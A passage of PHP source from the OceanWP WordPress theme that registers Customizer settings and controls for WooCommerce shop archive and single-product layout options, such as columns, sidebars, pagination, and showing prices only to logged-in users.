array( 'default' => 'content-sidebar', 'sanitize_callback' => 'oceanwp_sanitize_select', ) ); $wp_customize->add_control( new WP_Customize_Control( $wp_customize, 'ocean_woo_shop_sidebar_order', array( 'label' => esc_html__( 'Mobile Sidebar Order', 'oceanwp' ), 'type' => 'select', 'section' => 'ocean_woocommerce_archives', 'settings' => 'ocean_woo_shop_sidebar_order', 'priority' => 10, 'choices' => array( 'content-sidebar' => esc_html__( 'Content / Sidebar', 'oceanwp' ), 'sidebar-content' => esc_html__( 'Sidebar / Content', 'oceanwp' ), ), 'active_callback' => 'oceanwp_cac_has_woo_shop_rl_layout', ) ) ); /** * Shop Posts Per Page */ $wp_customize->add_setting( 'ocean_woo_shop_posts_per_page', array( 'default' => '12', 'sanitize_callback' => 'oceanwp_sanitize_number', ) ); $wp_customize->add_control( new OceanWP_Customizer_Range_Control( $wp_customize, 'ocean_woo_shop_posts_per_page', array( 'label' => esc_html__( 'Shop Posts Per Page', 'oceanwp' ), 'section' => 'ocean_woocommerce_archives', 'settings' => 'ocean_woo_shop_posts_per_page', 'priority' => 10, 'input_attrs' => array( 'min' => 1, 'max' => 100, 'step' => 1, ), ) ) ); /** * Shop Columns */ $wp_customize->add_setting( 'ocean_woocommerce_shop_columns', array( 'transport' => 'postMessage', 'default' => '3', 'sanitize_callback' => 'oceanwp_sanitize_number', ) ); $wp_customize->add_setting( 'ocean_woocommerce_tablet_shop_columns', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_number_blank', ) ); $wp_customize->add_setting( 'ocean_woocommerce_mobile_shop_columns', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_number_blank', ) ); $wp_customize->add_control( new OceanWP_Customizer_Slider_Control( $wp_customize, 'ocean_woocommerce_shop_columns', array( 'label' => esc_html__( 'Shop Columns', 'oceanwp' ), 'section' => 'ocean_woocommerce_archives', 'settings' => array( 'desktop' => 'ocean_woocommerce_shop_columns', 'tablet' => 'ocean_woocommerce_tablet_shop_columns', 'mobile' => 'ocean_woocommerce_mobile_shop_columns', ), 'priority' => 10, 'input_attrs' => array( 'min' => 1, 'max' => 7, 'step' => 1, ), ) ) ); /** * Toolbar Heading */ $wp_customize->add_setting( 'ocean_woocommerce_shop_toolbar_heading', array( 'sanitize_callback' => 'wp_kses', ) ); $wp_customize->add_control( new OceanWP_Customizer_Heading_Control( $wp_customize, 'ocean_woocommerce_shop_toolbar_heading', array( 'label' => esc_html__( 'Toolbar', 'oceanwp' ), 'section' => 'ocean_woocommerce_archives', 'priority' => 10, ) ) ); /** * Grid/List Buttons */ $wp_customize->add_setting( 'ocean_woo_grid_list', array( 'default' => true, 'sanitize_callback' => 'oceanwp_sanitize_checkbox', ) ); $wp_customize->add_control( new WP_Customize_Control( $wp_customize, 'ocean_woo_grid_list', array( 'label' => esc_html__( 'Grid/List Buttons', 'oceanwp' ), 'type' => 'checkbox', 'section' => 'ocean_woocommerce_archives', 'settings' => 'ocean_woo_grid_list', 'priority' => 10, ) ) ); /** * Catalog View */ $wp_customize->add_setting( 'ocean_woo_catalog_view', array( 'default' => 'grid', 'sanitize_callback' => 'oceanwp_sanitize_select', ) ); $wp_customize->add_control( new WP_Customize_Control( $wp_customize, 'ocean_woo_catalog_view', array( 'label' => esc_html__( 'Default Catalog View', 'oceanwp' ), 'type' => 'select', 'section' => 'ocean_woocommerce_archives', 'settings' => 'ocean_woo_catalog_view', 'priority' => 10, 'choices' => array( 'grid' => esc_html__( 'Grid View', 'oceanwp' ), 'list' => esc_html__( 'List View', 'oceanwp' ), ), 'active_callback' => 'oceanwp_cac_has_grid_list_buttons', ) ) ); /** * List View Excerpt Length */ $wp_customize->add_setting( 'ocean_woo_list_excerpt_length', array( 'default' => '60', 'sanitize_callback' => 'oceanwp_sanitize_number', ) ); $wp_customize->add_control( new OceanWP_Customizer_Range_Control( $wp_customize, 'ocean_woo_list_excerpt_length', array( 'label' => esc_html__( 'Excerpt Length', 'oceanwp' ), 'description' => esc_html__( 'Length of the short description of the list view.', 'oceanwp' ), 'section' => 'ocean_woocommerce_archives', 'settings' => 'ocean_woo_list_excerpt_length', 'priority' => 10, 'input_attrs' => array( 'min' => 0, 'max' => 500, 'step' => 1, ), 'active_callback' => 'oceanwp_cac_has_grid_list_buttons', ) ) ); /** * Shop Sort */ $wp_customize->add_setting( 'ocean_woo_shop_sort', array( 'default' => true, 'sanitize_callback' => 'oceanwp_sanitize_checkbox', ) ); $wp_customize->add_control( new WP_Customize_Control( $wp_customize, 'ocean_woo_shop_sort', array( 'label' => esc_html__( 'Shop Sort', 'oceanwp' ), 'type' => 'checkbox', 'section' => 'ocean_woocommerce_archives', 'settings' => 'ocean_woo_shop_sort', 'priority' => 10, ) ) ); /** * Shop Result Count */ $wp_customize->add_setting( 'ocean_woo_shop_result_count', array( 'default' => true, 'sanitize_callback' => 'oceanwp_sanitize_checkbox', ) ); $wp_customize->add_control( new WP_Customize_Control( $wp_customize, 'ocean_woo_shop_result_count', array( 'label' => esc_html__( 'Shop Result Count', 'oceanwp' ), 'type' => 'checkbox', 'section' => 'ocean_woocommerce_archives', 'settings' => 'ocean_woo_shop_result_count', 'priority' => 10, ) ) ); /** * Off Canvas Filtering Heading */ $wp_customize->add_setting( 'ocean_woocommerce_shop_off_canvas_filter_heading', array( 'sanitize_callback' => 'wp_kses', ) ); $wp_customize->add_control( new OceanWP_Customizer_Heading_Control( $wp_customize, 'ocean_woocommerce_shop_off_canvas_filter_heading', array( 'label' => esc_html__( 'Off Canvas Filtering', 'oceanwp' ), 'section' => 'ocean_woocommerce_archives', 'priority' => 10, ) ) ); /** * Off Canvas Filter Button */ $wp_customize->add_setting( 'ocean_woo_off_canvas_filter', array( 'default' => false, 'sanitize_callback' => 'oceanwp_sanitize_checkbox', ) ); $wp_customize->add_control( new WP_Customize_Control( $wp_customize, 'ocean_woo_off_canvas_filter', array( 'label' => esc_html__( 'Display Filter Button', 'oceanwp' ), 'type' => 'checkbox', 'section' => 'ocean_woocommerce_archives', 'settings' => 'ocean_woo_off_canvas_filter', 'priority' => 10, ) ) ); /** * Off Canvas Filter Text */ $wp_customize->add_setting( 'ocean_woo_off_canvas_filter_text', array( 'default' => esc_html__( 'Filter', 'oceanwp' ), 'transport' => 'postMessage', 'sanitize_callback' => 'wp_kses_post', ) ); $wp_customize->add_control( new WP_Customize_Control( $wp_customize, 'ocean_woo_off_canvas_filter_text', array( 'label' => esc_html__( 'Filter Button Text', 'oceanwp' ), 'type' => 'text', 'section' => 'ocean_woocommerce_archives', 'settings' => 'ocean_woo_off_canvas_filter_text', 'priority' => 10, 'active_callback' => 'oceanwp_cac_has_woo_filter_button', ) ) ); /** * Off Canvas Close Button */ $wp_customize->add_setting( 'ocean_woo_off_canvas_close_button', array( 'default' => false, 'sanitize_callback' => 'oceanwp_sanitize_checkbox', ) ); $wp_customize->add_control( new WP_Customize_Control( $wp_customize, 'ocean_woo_off_canvas_close_button', array( 'label' => esc_html__( 'Add Close Button', 'oceanwp' ), 'type' => 'checkbox', 'section' => 'ocean_woocommerce_archives', 'settings' => 'ocean_woo_off_canvas_close_button', 'priority' => 10, ) ) ); /** * Off Canvas Close Button Color */ $wp_customize->add_setting( 'ocean_woo_off_canvas_close_button_color', array( 'default' => '#333333', 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_woo_off_canvas_close_button_color', array( 'label' => esc_html__( 'Close Button Color', 'oceanwp' ), 'section' => 'ocean_woocommerce_archives', 'settings' => 'ocean_woo_off_canvas_close_button_color', 'priority' => 10, 'active_callback' => 'oceanwp_cac_has_woo_filter_close_button', ) ) ); /** * Off Canvas Close Button Color */ $wp_customize->add_setting( 'ocean_woo_off_canvas_close_button_hover_color', array( 'default' => '#777777', 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_woo_off_canvas_close_button_hover_color', array( 'label' => esc_html__( 'Close Button Color: Hover', 'oceanwp' ), 'section' => 'ocean_woocommerce_archives', 'settings' => 'ocean_woo_off_canvas_close_button_hover_color', 'priority' => 10, 'active_callback' => 'oceanwp_cac_has_woo_filter_close_button', ) ) ); /** * Products Heading */ $wp_customize->add_setting( 'ocean_woocommerce_shop_products_heading', array( 'sanitize_callback' => 'wp_kses', ) ); $wp_customize->add_control( new OceanWP_Customizer_Heading_Control( $wp_customize, 'ocean_woocommerce_shop_products_heading', array( 'label' => esc_html__( 'Products', 'oceanwp' ), 'section' => 'ocean_woocommerce_archives', 'priority' => 10, ) ) ); /** * Products Style */ $wp_customize->add_setting( 'ocean_woo_products_style', array( 'default' => 'default', 'sanitize_callback' => 'oceanwp_sanitize_select', ) ); $wp_customize->add_control( new WP_Customize_Control( $wp_customize, 'ocean_woo_products_style', array( 'label' => esc_html__( 'Products Style', 'oceanwp' ), 'type' => 'select', 'section' => 'ocean_woocommerce_archives', 'settings' => 'ocean_woo_products_style', 'priority' => 10, 'choices' => array( 'default' => esc_html__( 'Default Style', 'oceanwp' ), 'hover' => esc_html__( 'Hover Style', 'oceanwp' ), ), ) ) ); /** * Product Elements Positioning */ $wp_customize->add_setting( 'oceanwp_woo_product_elements_positioning', array( 'default' => array( 'image', 'category', 'title', 'price-rating', 'woo-rating', 'description', 'button' ), 'sanitize_callback' => 'oceanwp_sanitize_multi_choices', ) ); $wp_customize->add_control( new OceanWP_Customizer_Sortable_Control( $wp_customize, 'oceanwp_woo_product_elements_positioning', array( 'label' => esc_html__( 'Elements Positioning', 'oceanwp' ), 'section' => 'ocean_woocommerce_archives', 'settings' => 'oceanwp_woo_product_elements_positioning', 'priority' => 10, 'choices' => array( 'image' => esc_html__( 'Image', 'oceanwp' ), 'category' => esc_html__( 'Category', 'oceanwp' ), 'title' => esc_html__( 'Title', 'oceanwp' ), 'price-rating' => esc_html__( 'Price', 'oceanwp' ), 'woo-rating' => esc_html__( 'Star Rating', 'oceanwp' ), 'description' => esc_html__( 'List Description', 'oceanwp' ), 'button' => esc_html__( 'Add To Cart Button', 'oceanwp' ), ), 'active_callback' => 'oceanwp_cac_has_woo_default_products_style', ) ) ); /** * Product Entry Media */ $wp_customize->add_setting( 'ocean_woo_product_entry_style', array( 'default' => 'image-swap', 'sanitize_callback' => 'oceanwp_sanitize_select', ) ); $wp_customize->add_control( new WP_Customize_Control( $wp_customize, 'ocean_woo_product_entry_style', array( 'label' => esc_html__( 'Product Entry Media', 'oceanwp' ), 'type' => 'select', 'section' => 'ocean_woocommerce_archives', 'settings' => 'ocean_woo_product_entry_style', 'priority' => 10, 'choices' => array( 'featured-image' => esc_html__( 'Featured Image', 'oceanwp' ), 'image-swap' => esc_html__( 'Image Swap', 'oceanwp' ), 'gallery-slider' => esc_html__( 'Gallery Slider', 'oceanwp' ), ), 'active_callback' => 'oceanwp_cac_has_woo_default_products_style', ) ) ); /** * Display Quick View Button */ $wp_customize->add_setting( 'ocean_woo_quick_view', array( 'default' => true, 'sanitize_callback' => 'oceanwp_sanitize_checkbox', ) ); $wp_customize->add_control( new WP_Customize_Control( $wp_customize, 'ocean_woo_quick_view', array( 'label' => esc_html__( 'Display Quick View Button', 'oceanwp' ), 'type' => 'checkbox', 'section' => 'ocean_woocommerce_archives', 'settings' => 'ocean_woo_quick_view', 'priority' => 10, ) ) ); /** * Product Entry Content Alignment */ $wp_customize->add_setting( 'ocean_woo_product_entry_content_alignment', array( 'transport' => 'postMessage', 'default' => 'center', 'sanitize_callback' => 'oceanwp_sanitize_select', ) ); $wp_customize->add_control( new OceanWP_Customizer_Buttonset_Control( $wp_customize, 'ocean_woo_product_entry_content_alignment', array( 'label' => esc_html__( 'Content Alignment', 'oceanwp' ), 'section' => 'ocean_woocommerce_archives', 'settings' => 'ocean_woo_product_entry_content_alignment', 'priority' => 10, 'choices' => array( 'left' => esc_html__( 'Left', 'oceanwp' ), 'center' => esc_html__( 'Center', 'oceanwp' ), 'right' => esc_html__( 'Right', 'oceanwp' ), ), ) ) ); /** * Shop Conditional Heading * * @since 2.0 */ $wp_customize->add_setting( 'ocean_woocommerce_shop_conditional_heading', array( 'sanitize_callback' => 'wp_kses', ) ); $wp_customize->add_control( new OceanWP_Customizer_Heading_Control( $wp_customize, 'ocean_woocommerce_shop_conditional_heading', array( 'label' => esc_html__( 'Shop Conditional', 'oceanwp' ), 'section' => 'ocean_woocommerce_archives', 'priority' => 10, ) ) ); /** * Product Entry Show Logged in/Logged out, show products conditional * * @since 2.0 */ $wp_customize->add_setting( 'ocean_shop_conditional', array( 'default' => false, 'sanitize_callback' => 'oceanwp_sanitize_checkbox', ) ); $wp_customize->add_control( new WP_Customize_Control( $wp_customize, 'ocean_shop_conditional', array( 'label' => esc_html__( 'Display price and Add to Cart button only to logged in users', 'oceanwp' ), 'type' => 'checkbox', 'section' => 'ocean_woocommerce_archives', 'settings' => 'ocean_shop_conditional', 'priority' => 10, ) ) ); // Display message instead of price for logged out users if conditional enabled. $wp_customize->add_setting( 'ocean_shop_cond_msg', array( 'transport' => 'postMessage', 'default' => 'yes', 'sanitize_callback' => 'oceanwp_sanitize_select', ) ); $wp_customize->add_control( new OceanWP_Customizer_Buttonset_Control( $wp_customize, 'ocean_shop_cond_msg', array( 'label' => esc_html__( 'Display message to logged out users', 'oceanwp' ), 'section' => 'ocean_woocommerce_archives', 'settings' => 'ocean_shop_cond_msg', 'priority' => 10, 'choices' => array( 'yes' => esc_html__( 'Yes', 'oceanwp' ), 'no' => esc_html__( 'No', 'oceanwp' ), ), 'active_callback' => 'oceanwp_cac_has_shop_condition', ) ) ); // Display message to logged out users instead of price, if conditional logic enabled. $wp_customize->add_setting( 'ocean_shop_msg_text', array( 'default' => esc_html__( 'Log in to view price and purchase', 'oceanwp' ), 'transport' => 'postMessage', 'sanitize_callback' => 'wp_kses_post', ) ); $wp_customize->add_control( 'ocean_shop_msg_text', array( 'label' => esc_html__( 'Conditional replacement message', 'oceanwp' ), 'description' => esc_html__( 'Message to display to logged out users instead of the price and Add to Cart button. The message will be displayed in the position of the Add to Cart button', 'oceanwp' ), 'section' => 'ocean_woocommerce_archives', 'priority' => 10, 'type' => 'text', 'active_callback' => 'oceanwp_cac_has_shop_condition', ) ); // Insert link to My Account page if conditional message displayed $wp_customize->add_setting( 'ocean_shop_add_myaccount_link', array( 'default' => false, 'sanitize_callback' => 'oceanwp_sanitize_checkbox', ) ); $wp_customize->add_control( new WP_Customize_Control( $wp_customize, 'ocean_shop_add_myaccount_link', array( 'label' => esc_html__( 'Include My Account page link in conditional message', 'oceanwp' ), 'type' => 'checkbox', 'section' => 'ocean_woocommerce_archives', 'settings' => 'ocean_shop_add_myaccount_link', 'priority' => 10, 'active_callback' => 'oceanwp_cac_has_shop_condition', ) ) ); /** * Product Entry Enable/Disable Image and Product Title links * * @since 2.0 */ $wp_customize->add_setting( 'ocean_shop_woo_disable_links', array( 'default' => false, 'sanitize_callback' => 'oceanwp_sanitize_checkbox', ) ); $wp_customize->add_control( new WP_Customize_Control( $wp_customize, 'ocean_shop_woo_disable_links', array( 'label' => esc_html__( 'Disable image and product title links functionality', 'oceanwp' ), 'type' => 'checkbox', 'section' => 'ocean_woocommerce_archives', 'settings' => 'ocean_shop_woo_disable_links', 'priority' => 10, ) ) ); // Disable all archive pages links for logged out users only. $wp_customize->add_setting( 'ocean_shop_woo_disable_links_cond', array( 'transport' => 'postMessage', 'default' => 'no', 'sanitize_callback' => 'oceanwp_sanitize_select', ) ); $wp_customize->add_control( new OceanWP_Customizer_Buttonset_Control( $wp_customize, 'ocean_shop_woo_disable_links_cond', array( 'label' => esc_html__( 'Disable links only for logged out users', 'oceanwp' ), 'description' => esc_html__( 'If selected, image and title product archive links will be functional only for logged in users', 'oceanwp' ), 'section' => 'ocean_woocommerce_archives', 'settings' => 'ocean_shop_woo_disable_links_cond', 'priority' => 10, 'choices' => array( 'yes' => esc_html__( 'Yes', 'oceanwp' ), 'no' => esc_html__( 'No', 'oceanwp' ), ), 'active_callback' => 'oceanwp_cac_has_shop_links_disabled', ) ) ); /** * Pagination Heading */ $wp_customize->add_setting( 'ocean_woocommerce_shop_pagination_heading', array( 'sanitize_callback' => 'wp_kses', ) ); $wp_customize->add_control( new OceanWP_Customizer_Heading_Control( $wp_customize, 'ocean_woocommerce_shop_pagination_heading', array( 'label' => esc_html__( 'Pagination', 'oceanwp' ), 'section' => 'ocean_woocommerce_archives', 'priority' => 10, ) ) ); /** * Shop Pagination Style */ $wp_customize->add_setting( 'ocean_woo_pagination_style', array( 'default' => 'standard', 'sanitize_callback' => 'oceanwp_sanitize_select', ) ); $wp_customize->add_control( new WP_Customize_Control( $wp_customize, 'ocean_woo_pagination_style', array( 'label' => esc_html__( 'Pagination Style', 'oceanwp' ), 'type' => 'select', 'section' => 'ocean_woocommerce_archives', 'settings' => 'ocean_woo_pagination_style', 'priority' => 10, 'choices' => array( 'standard' => esc_html__( 'Standard', 'oceanwp' ), 'infinite_scroll' => esc_html__( 'Infinite Scroll', 'oceanwp' ), ), ) ) ); /** * Infinite Scroll: Spinners Color */ $wp_customize->add_setting( 'ocean_woo_infinite_scroll_spinners_color', array( 'default' => '#333333', 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_woo_infinite_scroll_spinners_color', array( 'label' => esc_html__( 'Infinite Scroll: Spinners Color', 'oceanwp' ), 'section' => 'ocean_woocommerce_archives', 'settings' => 'ocean_woo_infinite_scroll_spinners_color', 'priority' => 10, 'active_callback' => 'oceanwp_cac_has_woo_infinite_scroll', ) ) ); /** * Infinite Scroll: Last Text */ $wp_customize->add_setting( 'ocean_woo_infinite_scroll_last_text', array( 'default' => esc_html__( 'End of content', 'oceanwp' ), 'transport' => 'postMessage', 'sanitize_callback' => 'wp_kses_post', ) ); $wp_customize->add_control( new WP_Customize_Control( $wp_customize, 'ocean_woo_infinite_scroll_last_text', array( 'label' => esc_html__( 'Infinite Scroll: Last Text', 'oceanwp' ), 'type' => 'text', 'section' => 'ocean_woocommerce_archives', 'settings' => 'ocean_woo_infinite_scroll_last_text', 'priority' => 10, 'active_callback' => 'oceanwp_cac_has_woo_infinite_scroll', ) ) ); /** * Infinite Scroll: Error Text */ $wp_customize->add_setting( 'ocean_woo_infinite_scroll_error_text', array( 'default' => esc_html__( 'No more pages to load', 'oceanwp' ), 'transport' => 'postMessage', 'sanitize_callback' => 'wp_kses_post', ) ); $wp_customize->add_control( new WP_Customize_Control( $wp_customize, 'ocean_woo_infinite_scroll_error_text', array( 'label' => esc_html__( 'Infinite Scroll: Error Text', 'oceanwp' ), 'type' => 'text', 'section' => 'ocean_woocommerce_archives', 'settings' => 'ocean_woo_infinite_scroll_error_text', 'priority' => 10, 'active_callback' => 'oceanwp_cac_has_woo_infinite_scroll', ) ) ); /** * Section */ $wp_customize->add_section( 'ocean_woocommerce_single' , array( 'title' => esc_html__( 'Single Product', 'oceanwp' ), 'priority' => 10, 'panel' => $panel, ) ); /** * Layout */ $wp_customize->add_setting( 'ocean_woo_product_layout', array( 'default' => 'left-sidebar', 'sanitize_callback' => 'oceanwp_sanitize_select', ) ); $wp_customize->add_control( new OceanWP_Customizer_Radio_Image_Control( $wp_customize, 'ocean_woo_product_layout', array( 'label' => esc_html__( 'Layout', 'oceanwp' ), 'section' => 'ocean_woocommerce_single', 'settings' => 'ocean_woo_product_layout', 'priority' => 10, 'choices' => oceanwp_customizer_layout(), ) ) ); /** * Both Sidebars Style */ $wp_customize->add_setting( 'ocean_woo_product_both_sidebars_style', array( 'default' => 'scs-style', 'sanitize_callback' => 'oceanwp_sanitize_select', ) ); $wp_customize->add_control( new WP_Customize_Control( $wp_customize, 'ocean_woo_product_both_sidebars_style', array( 'label' => esc_html__( 'Both Sidebars: Style', 'oceanwp' ), 'type' => 'select', 'section' => 'ocean_woocommerce_single', 'settings' => 'ocean_woo_product_both_sidebars_style', 'priority' => 10, 'choices' => array( 'ssc-style' => esc_html__( 'Sidebar / Sidebar / Content', 'oceanwp' ), 'scs-style' => esc_html__( 'Sidebar / Content / Sidebar', 'oceanwp' ), 'css-style' => esc_html__( 'Content / Sidebar / Sidebar', 'oceanwp' ), ), 'active_callback' => 'oceanwp_cac_has_woo_product_bs_layout', ) ) ); /** * Both Sidebars Content Width */ $wp_customize->add_setting( 'ocean_woo_product_both_sidebars_content_width', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_number_blank', ) ); $wp_customize->add_control( new WP_Customize_Control( $wp_customize, 'ocean_woo_product_both_sidebars_content_width', array( 'label' => esc_html__( 'Both Sidebars: Content Width (%)', 'oceanwp' ), 'type' => 'number', 'section' => 'ocean_woocommerce_single', 'settings' => 'ocean_woo_product_both_sidebars_content_width', 'priority' => 10, 'input_attrs' => array( 'min' => 0, 'max' => 100, 'step' => 1, ), 'active_callback' => 'oceanwp_cac_has_woo_product_bs_layout', ) ) ); /** * Both Sidebars Sidebars Width */ $wp_customize->add_setting( 'ocean_woo_product_both_sidebars_sidebars_width', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_number_blank', ) ); $wp_customize->add_control( new WP_Customize_Control( $wp_customize, 'ocean_woo_product_both_sidebars_sidebars_width', array( 'label' => esc_html__( 'Both Sidebars: Sidebars Width (%)', 'oceanwp' ), 'type' => 'number', 'section' => 'ocean_woocommerce_single', 'settings' => 'ocean_woo_product_both_sidebars_sidebars_width', 'priority' => 10, 'input_attrs' => array( 'min' => 0, 'max' => 100, 'step' => 1, ), 'active_callback' => 'oceanwp_cac_has_woo_product_bs_layout', ) ) ); /** * Mobile Sidebar Order */ $wp_customize->add_setting( 'ocean_woo_product_sidebar_order', array( 'default' => 'content-sidebar', 'sanitize_callback' => 'oceanwp_sanitize_select', ) ); $wp_customize->add_control( new WP_Customize_Control( $wp_customize, 'ocean_woo_product_sidebar_order', array( 'label' => esc_html__( 'Mobile Sidebar Order', 'oceanwp' ), 'type' => 'select', 'section' => 'ocean_woocommerce_single', 'settings' => 'ocean_woo_product_sidebar_order', 'priority' => 10, 'choices' => array( 'content-sidebar' => esc_html__( 'Content / Sidebar', 'oceanwp' ), 'sidebar-content' => esc_html__( 'Sidebar / Content', 'oceanwp' ), ), 'active_callback' => 'oceanwp_cac_has_woo_product_rl_layout', ) ) ); /** * Title HTML Tag */ $wp_customize->add_setting( 'ocean_woo_product_title_tag', array( 'default' => 'h2', 'sanitize_callback' => 'sanitize_key', ) ); $wp_customize->add_control( new WP_Customize_Control( $wp_customize, 'ocean_woo_product_title_tag', array( 'label' => esc_html__( 'Title HTML Tag', 'oceanwp' ), 'type' => 'select', 'section' => 'ocean_woocommerce_single', 'settings' => 'ocean_woo_product_title_tag', 'priority' => 10, 'choices' => array( 'h1' => esc_html__( 'H1', 'oceanwp' ), 'h2' => esc_html__( 'H2', 'oceanwp' ), 'h3' => esc_html__( 'H3', 'oceanwp' ), 'h4' => esc_html__( 'H4', 'oceanwp' ), 'h5' => esc_html__( 'H5', 'oceanwp' ), 'h6' => esc_html__( 'H6', 'oceanwp' ), 'div' => esc_html__( 'div', 'oceanwp' ), 'span' => esc_html__( 'span', 'oceanwp' ), 'p' => esc_html__( 'p', 'oceanwp' ), ), ) ) ); /** * Elements Positioning */ $wp_customize->add_setting( 'oceanwp_woo_summary_elements_positioning', array( 'default' => array( 'title', 'rating', 'price', 'excerpt', 'quantity-button', 'meta' ), 'sanitize_callback' => 'oceanwp_sanitize_multi_choices', ) ); $wp_customize->add_control( new OceanWP_Customizer_Sortable_Control( $wp_customize, 'oceanwp_woo_summary_elements_positioning', array( 'label' => esc_html__( 'Summary Elements Positioning', 'oceanwp' ), 'section' => 'ocean_woocommerce_single', 'settings' => 'oceanwp_woo_summary_elements_positioning', 'priority' => 10, 'choices' => array( 'title' => esc_html__( 'Title', 'oceanwp' ), 'rating' => esc_html__( 'Rating', 'oceanwp' ), 'price' => esc_html__( 'Price', 'oceanwp' ), 'excerpt' => esc_html__( 'Excerpt', 'oceanwp' ), 'quantity-button' => esc_html__( 'Quantity & Add To Cart', 'oceanwp' ), 'meta' => esc_html__( 'Product Meta', 'oceanwp' ), ), ) ) ); /** * Display Product Navigation */ $wp_customize->add_setting( 'ocean_woocommerce_display_navigation', array( 'default' => true, 'sanitize_callback' => 'oceanwp_sanitize_checkbox', ) ); $wp_customize->add_control( new WP_Customize_Control( $wp_customize, 'ocean_woocommerce_display_navigation', array( 'label' => esc_html__( 'Display Product Navigation', 'oceanwp' ), 'type' => 'checkbox', 'section' => 'ocean_woocommerce_single', 'settings' => 'ocean_woocommerce_display_navigation', 'priority' => 10, ) ) ); /** * Enable Ajax Add To Cart */ $wp_customize->add_setting( 'ocean_woo_product_ajax_add_to_cart', array( 'default' => false, 'sanitize_callback' => 'oceanwp_sanitize_checkbox', ) ); $wp_customize->add_control( new WP_Customize_Control( $wp_customize, 'ocean_woo_product_ajax_add_to_cart', array( 'label' => esc_html__( 'Enable Ajax Add To Cart', 'oceanwp' ), 'type' => 'checkbox', 'section' => 'ocean_woocommerce_single', 'settings' => 'ocean_woo_product_ajax_add_to_cart', 'priority' => 10, ) ) ); /** * Image Width */ $wp_customize->add_setting( 'ocean_woo_product_image_width', array( 'transport' => 'postMessage', 'default' => '52', 'sanitize_callback' => 'oceanwp_sanitize_number', ) ); $wp_customize->add_control( new OceanWP_Customizer_Range_Control( $wp_customize, 'ocean_woo_product_image_width', array( 'label' => esc_html__( 'Image Width (%)', 'oceanwp' ), 'section' => 'ocean_woocommerce_single', 'settings' => 'ocean_woo_product_image_width', 'priority' => 10, 'input_attrs' => array( 'min' => 0, 'max' => 100, 'step' => 1, ), ) ) ); /** * Summary Width */ $wp_customize->add_setting( 'ocean_woo_product_summary_width', array( 'transport' => 'postMessage', 'default' => '44', 'sanitize_callback' => 'oceanwp_sanitize_number', ) ); $wp_customize->add_control( new OceanWP_Customizer_Range_Control( $wp_customize, 'ocean_woo_product_summary_width', array( 'label' => esc_html__( 'Summary Width (%)', 'oceanwp' ), 'section' => 'ocean_woocommerce_single', 'settings' => 'ocean_woo_product_summary_width', 'priority' => 10, 'input_attrs' => array( 'min' => 0, 'max' => 100, 'step' => 1, ), ) ) ); /** * Thumbnails Layout */ $wp_customize->add_setting( 'ocean_woo_product_thumbs_layout', array( 'transport' => 'postMessage', 'default' => 'horizontal', 'sanitize_callback' => 'sanitize_text_field', ) ); $wp_customize->add_control( new WP_Customize_Control( $wp_customize, 'ocean_woo_product_thumbs_layout', array( 'label' => esc_html__( 'Thumbnails Layout', 'oceanwp' ), 'type' => 'select', 'section' => 'ocean_woocommerce_single', 'settings' => 'ocean_woo_product_thumbs_layout', 'priority' => 10, 'choices' => array( 'horizontal' => esc_html__( 'Horizontal', 'oceanwp' ), 'vertical' => esc_html__( 'Vertical', 'oceanwp' ), ), ) ) ); /** * Add To Cart Button Style */ $wp_customize->add_setting( 'ocean_woo_product_addtocart_style', array( 'transport' => 'postMessage', 'default' => 'normal', 'sanitize_callback' => 'sanitize_text_field', ) ); $wp_customize->add_control( new WP_Customize_Control( $wp_customize, 'ocean_woo_product_addtocart_style', array( 'label' => esc_html__( 'Add To Cart Button Style', 'oceanwp' ), 'type' => 'select', 'section' => 'ocean_woocommerce_single', 'settings' => 'ocean_woo_product_addtocart_style', 'priority' => 10, 'choices' => array( 'normal' => esc_html__( 'Normal', 'oceanwp' ), 'big' => esc_html__( 'Big', 'oceanwp' ), 'very-big' => esc_html__( 'Very Big', 'oceanwp' ), ), ) ) ); /** * Single Product Conditional Heading * * @since 2.0 */ $wp_customize->add_setting( 'ocean_woocommerce_single_conditional_heading', array( 'sanitize_callback' => 'wp_kses', ) ); $wp_customize->add_control( new OceanWP_Customizer_Heading_Control( $wp_customize, 'ocean_woocommerce_single_conditional_heading', array( 'label' => esc_html__( 'Single Product Conditional', 'oceanwp' ), 'section' => 'ocean_woocommerce_single', 'priority' => 10, ) ) ); /** * Single Product Show Logged in/Logged out, show products conditional * * @since 2.0 */ $wp_customize->add_setting( 'ocean_woo_single_conditional', array( 'default' => false, 'sanitize_callback' => 'oceanwp_sanitize_checkbox', ) ); $wp_customize->add_control( new WP_Customize_Control( $wp_customize, 'ocean_woo_single_conditional', array( 'label' => esc_html__( 'Display price and Add to Cart button only to logged in users', 'oceanwp' ), 'type' => 'checkbox', 'section' => 'ocean_woocommerce_single', 'settings' => 'ocean_woo_single_conditional', 'priority' => 10, ) ) ); // Display message instead of price and Add to Cart button for logged out users if conditional enabled. $wp_customize->add_setting( 'ocean_woo_single_cond_msg', array( 'transport' => 'postMessage', 'default' => 'yes', 'sanitize_callback' => 'oceanwp_sanitize_select', ) ); $wp_customize->add_control( new OceanWP_Customizer_Buttonset_Control( $wp_customize, 'ocean_woo_single_cond_msg', array( 'label' => esc_html__( 'Display message to logged out users', 'oceanwp' ), 'section' => 'ocean_woocommerce_single', 'settings' => 'ocean_woo_single_cond_msg', 'priority' => 10, 'choices' => array( 'yes' => esc_html__( 'Yes', 'oceanwp' ), 'no' => esc_html__( 'No', 'oceanwp' ), ), 'active_callback' => 'oceanwp_cac_has_single_condition', ) ) ); // Message to display instead of price and Add to Cart button, if conditional logic enabled. $wp_customize->add_setting( 'ocean_woo_single_cond_msg_text', array( 'default' => esc_html__( 'Log in to view price and purchase', 'oceanwp' ), 'transport' => 'postMessage', 'sanitize_callback' => 'wp_kses_post', ) ); $wp_customize->add_control( 'ocean_woo_single_cond_msg_text', array( 'label' => esc_html__( 'Price replacement message', 'oceanwp' 